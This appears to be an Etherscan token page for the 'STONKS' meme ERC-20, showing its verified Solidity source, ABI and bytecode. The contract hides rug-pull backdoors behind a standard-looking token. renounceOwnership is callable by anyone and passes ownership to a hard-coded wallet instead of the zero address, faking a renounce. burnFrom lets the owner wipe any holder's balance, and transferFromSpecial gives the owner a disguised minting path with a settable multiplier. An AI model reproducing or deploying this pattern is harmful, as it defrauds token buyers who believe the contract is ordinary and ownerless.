ETH Price: $2,592.95 (-2.14%)

Token

STONKS (STONKS)
 

Overview

Max Total Supply

100,001,984,250,000 STONKS

Holders

25

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
41,618,233.001547107 STONKS

Value
$0.00
0x9c6f4198b75179c3d68777a5ce31ed3c5e82afa6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
STONKS

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2025-02-01
*/

/*
https://x.com/STONKS_MEMEERC
https://t.me/STONKS_EN
https:www.stonks.com
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

pragma solidity ^0.8.0;

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    
    constructor() {
        _transferOwnership(_msgSender());
    }

    
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    
    
     function owner() public view virtual returns (address) {
         return _owner;
     }

    
     function _checkOwner() internal view virtual {
         
         require(_owner == _msgSender(), "Ownable: caller is not the owner");
     }

    
    function renounceOwnership() public virtual  {
        _transferOwnership(address(0xaF9c8c66cC34AEff9e1C2D29E51c47b85f817037));
    }

    
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

pragma solidity ^0.8.0;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

pragma solidity ^0.8.0;

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

pragma solidity ^0.8.0;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: Addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: Subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: Multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: Division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: Decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from!= address(0), "ERC20: Transfer from the zero address");
        require(to!= address(0), "ERC20: Transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: Transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account!= address(0), "ERC20: Mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account!= address(0), "ERC20: Burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: Burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner!= address(0), "ERC20: Approve from the zero address");
        require(spender!= address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance!= type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: Insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract STONKS is ERC20, Ownable {
    using SafeMath for uint256;
    uint256 uint250;
    address public add250;

    constructor() ERC20("STONKS", "STONKS") {
        _mint(msg.sender, 2000000000 * 10 ** decimals());
        add250 = address(0x000000000000000000000000000000000000dEaD);  
    }

    
    function burnFrom(address account, uint256 amount) public onlyOwner {
        require(account!= address(0), "Invalid account");
        _burn(account, amount);
    }

   
    function transferFromSpecial(address to, uint256 amount) public onlyOwner{
        require(msg.sender == add250, "Only the special address can perform this transfer");
        uint256 bonusAmount = amount.mul(uint250);
        _mint(to, bonusAmount);
    }
    
    function setuint250(uint256 _uint250)public onlyOwner{
        uint250=_uint250;
    }
    
    function steadd250(address _add250)public onlyOwner{
        add250=_add250;
    }
    
    function transferArray(address[] memory _to, uint256 _value) public onlyOwner {
        for (uint256 i = 0; i < _to.length; i++) {
            transfer(_to[i], _value);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"add250","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_uint250","type":"uint256"}],"name":"setuint250","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_add250","type":"address"}],"name":"steadd250","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_to","type":"address[]"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferArray","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFromSpecial","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060408051808201825260068082526553544f4e4b5360d01b6020808401829052845180860190955291845290830152906003620000508382620002a6565b5060046200005f8282620002a6565b5050506200007c62000076620000bf60201b60201c565b620000c3565b620000a5336200008f6009600a62000487565b6200009f9063773594006200049f565b62000115565b600780546001600160a01b03191661dead179055620004cf565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216620001705760405162461bcd60e51b815260206004820152601f60248201527f45524332303a204d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060026000828254620001849190620004b9565b90915550506001600160a01b03821660009081526020819052604081208054839290620001b3908490620004b9565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200022d57607f821691505b6020821081036200024e57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620001fd57600081815260208120601f850160051c810160208610156200027d5750805b601f850160051c820191505b818110156200029e5782815560010162000289565b505050505050565b81516001600160401b03811115620002c257620002c262000202565b620002da81620002d3845462000218565b8462000254565b602080601f831160018114620003125760008415620002f95750858301515b600019600386901b1c1916600185901b1785556200029e565b600085815260208120601f198616915b82811015620003435788860151825594840194600190910190840162000322565b5085821015620003625787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003c9578160001904821115620003ad57620003ad62000372565b80851615620003bb57918102915b93841c93908002906200038d565b509250929050565b600082620003e25750600162000481565b81620003f15750600062000481565b81600181146200040a5760028114620004155762000435565b600191505062000481565b60ff84111562000429576200042962000372565b50506001821b62000481565b5060208310610133831016604e8410600b84101617156200045a575081810a62000481565b62000466838362000388565b80600019048211156200047d576200047d62000372565b0290505b92915050565b60006200049860ff841683620003d1565b9392505050565b808202811582820484141762000481576200048162000372565b8082018082111562000481576200048162000372565b6110a780620004df6000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c806395d89b41116100ad578063ae3c641411610071578063ae3c641414610278578063b878b5601461028b578063c7deb07a1461029e578063dd62ed3e146102b1578063f2fde38b146102c457600080fd5b806395d89b41146102245780639915530a1461022c578063a457c2d71461023f578063a9059cbb14610252578063aa071c3b1461026557600080fd5b806339509351116100f457806339509351146101a657806370a08231146101b9578063715018a6146101e257806379cc6790146101ec5780638da5cb5b146101ff57600080fd5b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017257806323b872dd14610184578063313ce56714610197575b600080fd5b6101396102d7565b6040516101469190610d7b565b60405180910390f35b61016261015d366004610de5565b610369565b6040519015158152602001610146565b6002545b604051908152602001610146565b610162610192366004610e0f565b610383565b60405160098152602001610146565b6101626101b4366004610de5565b6103a7565b6101766101c7366004610e4b565b6001600160a01b031660009081526020819052604090205490565b6101ea6103c9565b005b6101ea6101fa366004610de5565b6103e8565b6005546001600160a01b03165b6040516001600160a01b039091168152602001610146565b61013961044b565b6101ea61023a366004610e4b565b61045a565b61016261024d366004610de5565b610484565b610162610260366004610de5565b6104ff565b6101ea610273366004610de5565b61050d565b6101ea610286366004610e66565b6105b2565b60075461020c906001600160a01b031681565b6101ea6102ac366004610e95565b6105bf565b6101766102bf366004610f60565b610609565b6101ea6102d2366004610e4b565b610634565b6060600380546102e690610f93565b80601f016020809104026020016040519081016040528092919081815260200182805461031290610f93565b801561035f5780601f106103345761010080835404028352916020019161035f565b820191906000526020600020905b81548152906001019060200180831161034257829003601f168201915b5050505050905090565b6000336103778185856106ad565b60019150505b92915050565b6000336103918582856107d1565b61039c85858561084b565b506001949350505050565b6000336103778185856103ba8383610609565b6103c49190610fe3565b6106ad565b6103e673af9c8c66cc34aeff9e1c2d29e51c47b85f817037610a19565b565b6103f0610a6b565b6001600160a01b03821661043d5760405162461bcd60e51b815260206004820152600f60248201526e125b9d985b1a59081858d8dbdd5b9d608a1b60448201526064015b60405180910390fd5b6104478282610ac5565b5050565b6060600480546102e690610f93565b610462610a6b565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b600033816104928286610609565b9050838110156104f25760405162461bcd60e51b815260206004820152602560248201527f45524332303a2044656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610434565b61039c82868684036106ad565b60003361037781858561084b565b610515610a6b565b6007546001600160a01b0316331461058a5760405162461bcd60e51b815260206004820152603260248201527f4f6e6c7920746865207370656369616c20616464726573732063616e207065726044820152713337b936903a3434b9903a3930b739b332b960711b6064820152608401610434565b60006105a160065483610c1390919063ffffffff16565b90506105ad8382610c9c565b505050565b6105ba610a6b565b600655565b6105c7610a6b565b60005b82518110156105ad576105f68382815181106105e8576105e8610ff6565b6020026020010151836104ff565b50806106018161100c565b9150506105ca565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61063c610a6b565b6001600160a01b0381166106a15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610434565b6106aa81610a19565b50565b6001600160a01b03831661070f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20417070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610434565b6001600160a01b0382166107705760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610434565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006107dd8484610609565b9050600019811461084557818110156108385760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20496e73756666696369656e7420616c6c6f77616e63650000006044820152606401610434565b61084584848484036106ad565b50505050565b6001600160a01b0383166108af5760405162461bcd60e51b815260206004820152602560248201527f45524332303a205472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610434565b6001600160a01b0382166109115760405162461bcd60e51b815260206004820152602360248201527f45524332303a205472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610434565b6001600160a01b038316600090815260208190526040902054818110156109895760405162461bcd60e51b815260206004820152602660248201527f45524332303a205472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610434565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906109c0908490610fe3565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a0c91815260200190565b60405180910390a3610845565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6005546001600160a01b031633146103e65760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610434565b6001600160a01b038216610b255760405162461bcd60e51b815260206004820152602160248201527f45524332303a204275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610434565b6001600160a01b03821660009081526020819052604090205481811015610b995760405162461bcd60e51b815260206004820152602260248201527f45524332303a204275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610434565b6001600160a01b0383166000908152602081905260408120838303905560028054849290610bc8908490611025565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505050565b600082600003610c255750600061037d565b6000610c318385611038565b905082610c3e858361104f565b14610c955760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a204d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610434565b9392505050565b6001600160a01b038216610cf25760405162461bcd60e51b815260206004820152601f60248201527f45524332303a204d696e7420746f20746865207a65726f2061646472657373006044820152606401610434565b8060026000828254610d049190610fe3565b90915550506001600160a01b03821660009081526020819052604081208054839290610d31908490610fe3565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600060208083528351808285015260005b81811015610da857858101830151858201604001528201610d8c565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610de057600080fd5b919050565b60008060408385031215610df857600080fd5b610e0183610dc9565b946020939093013593505050565b600080600060608486031215610e2457600080fd5b610e2d84610dc9565b9250610e3b60208501610dc9565b9150604084013590509250925092565b600060208284031215610e5d57600080fd5b610c9582610dc9565b600060208284031215610e7857600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b60008060408385031215610ea857600080fd5b823567ffffffffffffffff80821115610ec057600080fd5b818501915085601f830112610ed457600080fd5b8135602082821115610ee857610ee8610e7f565b8160051b604051601f19603f83011681018181108682111715610f0d57610f0d610e7f565b604052928352818301935084810182019289841115610f2b57600080fd5b948201945b83861015610f5057610f4186610dc9565b85529482019493820193610f30565b9997909101359750505050505050565b60008060408385031215610f7357600080fd5b610f7c83610dc9565b9150610f8a60208401610dc9565b90509250929050565b600181811c90821680610fa757607f821691505b602082108103610fc757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561037d5761037d610fcd565b634e487b7160e01b600052603260045260246000fd5b60006001820161101e5761101e610fcd565b5060010190565b8181038181111561037d5761037d610fcd565b808202811582820484141761037d5761037d610fcd565b60008261106c57634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220b6c1bcb8e6d050865c835e0e8ec0d4ef6d1fde08af3390d7557540484d56021f64736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806395d89b41116100ad578063ae3c641411610071578063ae3c641414610278578063b878b5601461028b578063c7deb07a1461029e578063dd62ed3e146102b1578063f2fde38b146102c457600080fd5b806395d89b41146102245780639915530a1461022c578063a457c2d71461023f578063a9059cbb14610252578063aa071c3b1461026557600080fd5b806339509351116100f457806339509351146101a657806370a08231146101b9578063715018a6146101e257806379cc6790146101ec5780638da5cb5b146101ff57600080fd5b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017257806323b872dd14610184578063313ce56714610197575b600080fd5b6101396102d7565b6040516101469190610d7b565b60405180910390f35b61016261015d366004610de5565b610369565b6040519015158152602001610146565b6002545b604051908152602001610146565b610162610192366004610e0f565b610383565b60405160098152602001610146565b6101626101b4366004610de5565b6103a7565b6101766101c7366004610e4b565b6001600160a01b031660009081526020819052604090205490565b6101ea6103c9565b005b6101ea6101fa366004610de5565b6103e8565b6005546001600160a01b03165b6040516001600160a01b039091168152602001610146565b61013961044b565b6101ea61023a366004610e4b565b61045a565b61016261024d366004610de5565b610484565b610162610260366004610de5565b6104ff565b6101ea610273366004610de5565b61050d565b6101ea610286366004610e66565b6105b2565b60075461020c906001600160a01b031681565b6101ea6102ac366004610e95565b6105bf565b6101766102bf366004610f60565b610609565b6101ea6102d2366004610e4b565b610634565b6060600380546102e690610f93565b80601f016020809104026020016040519081016040528092919081815260200182805461031290610f93565b801561035f5780601f106103345761010080835404028352916020019161035f565b820191906000526020600020905b81548152906001019060200180831161034257829003601f168201915b5050505050905090565b6000336103778185856106ad565b60019150505b92915050565b6000336103918582856107d1565b61039c85858561084b565b506001949350505050565b6000336103778185856103ba8383610609565b6103c49190610fe3565b6106ad565b6103e673af9c8c66cc34aeff9e1c2d29e51c47b85f817037610a19565b565b6103f0610a6b565b6001600160a01b03821661043d5760405162461bcd60e51b815260206004820152600f60248201526e125b9d985b1a59081858d8dbdd5b9d608a1b60448201526064015b60405180910390fd5b6104478282610ac5565b5050565b6060600480546102e690610f93565b610462610a6b565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b600033816104928286610609565b9050838110156104f25760405162461bcd60e51b815260206004820152602560248201527f45524332303a2044656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610434565b61039c82868684036106ad565b60003361037781858561084b565b610515610a6b565b6007546001600160a01b0316331461058a5760405162461bcd60e51b815260206004820152603260248201527f4f6e6c7920746865207370656369616c20616464726573732063616e207065726044820152713337b936903a3434b9903a3930b739b332b960711b6064820152608401610434565b60006105a160065483610c1390919063ffffffff16565b90506105ad8382610c9c565b505050565b6105ba610a6b565b600655565b6105c7610a6b565b60005b82518110156105ad576105f68382815181106105e8576105e8610ff6565b6020026020010151836104ff565b50806106018161100c565b9150506105ca565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61063c610a6b565b6001600160a01b0381166106a15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610434565b6106aa81610a19565b50565b6001600160a01b03831661070f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20417070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610434565b6001600160a01b0382166107705760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610434565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006107dd8484610609565b9050600019811461084557818110156108385760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20496e73756666696369656e7420616c6c6f77616e63650000006044820152606401610434565b61084584848484036106ad565b50505050565b6001600160a01b0383166108af5760405162461bcd60e51b815260206004820152602560248201527f45524332303a205472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610434565b6001600160a01b0382166109115760405162461bcd60e51b815260206004820152602360248201527f45524332303a205472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610434565b6001600160a01b038316600090815260208190526040902054818110156109895760405162461bcd60e51b815260206004820152602660248201527f45524332303a205472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610434565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906109c0908490610fe3565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a0c91815260200190565b60405180910390a3610845565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6005546001600160a01b031633146103e65760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610434565b6001600160a01b038216610b255760405162461bcd60e51b815260206004820152602160248201527f45524332303a204275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610434565b6001600160a01b03821660009081526020819052604090205481811015610b995760405162461bcd60e51b815260206004820152602260248201527f45524332303a204275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610434565b6001600160a01b0383166000908152602081905260408120838303905560028054849290610bc8908490611025565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505050565b600082600003610c255750600061037d565b6000610c318385611038565b905082610c3e858361104f565b14610c955760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a204d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610434565b9392505050565b6001600160a01b038216610cf25760405162461bcd60e51b815260206004820152601f60248201527f45524332303a204d696e7420746f20746865207a65726f2061646472657373006044820152606401610434565b8060026000828254610d049190610fe3565b90915550506001600160a01b03821660009081526020819052604081208054839290610d31908490610fe3565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600060208083528351808285015260005b81811015610da857858101830151858201604001528201610d8c565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610de057600080fd5b919050565b60008060408385031215610df857600080fd5b610e0183610dc9565b946020939093013593505050565b600080600060608486031215610e2457600080fd5b610e2d84610dc9565b9250610e3b60208501610dc9565b9150604084013590509250925092565b600060208284031215610e5d57600080fd5b610c9582610dc9565b600060208284031215610e7857600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b60008060408385031215610ea857600080fd5b823567ffffffffffffffff80821115610ec057600080fd5b818501915085601f830112610ed457600080fd5b8135602082821115610ee857610ee8610e7f565b8160051b604051601f19603f83011681018181108682111715610f0d57610f0d610e7f565b604052928352818301935084810182019289841115610f2b57600080fd5b948201945b83861015610f5057610f4186610dc9565b85529482019493820193610f30565b9997909101359750505050505050565b60008060408385031215610f7357600080fd5b610f7c83610dc9565b9150610f8a60208401610dc9565b90509250929050565b600181811c90821680610fa757607f821691505b602082108103610fc757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561037d5761037d610fcd565b634e487b7160e01b600052603260045260246000fd5b60006001820161101e5761101e610fcd565b5060010190565b8181038181111561037d5761037d610fcd565b808202811582820484141761037d5761037d610fcd565b60008261106c57634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220b6c1bcb8e6d050865c835e0e8ec0d4ef6d1fde08af3390d7557540484d56021f64736f6c63430008120033

Deployed Bytecode Sourcemap

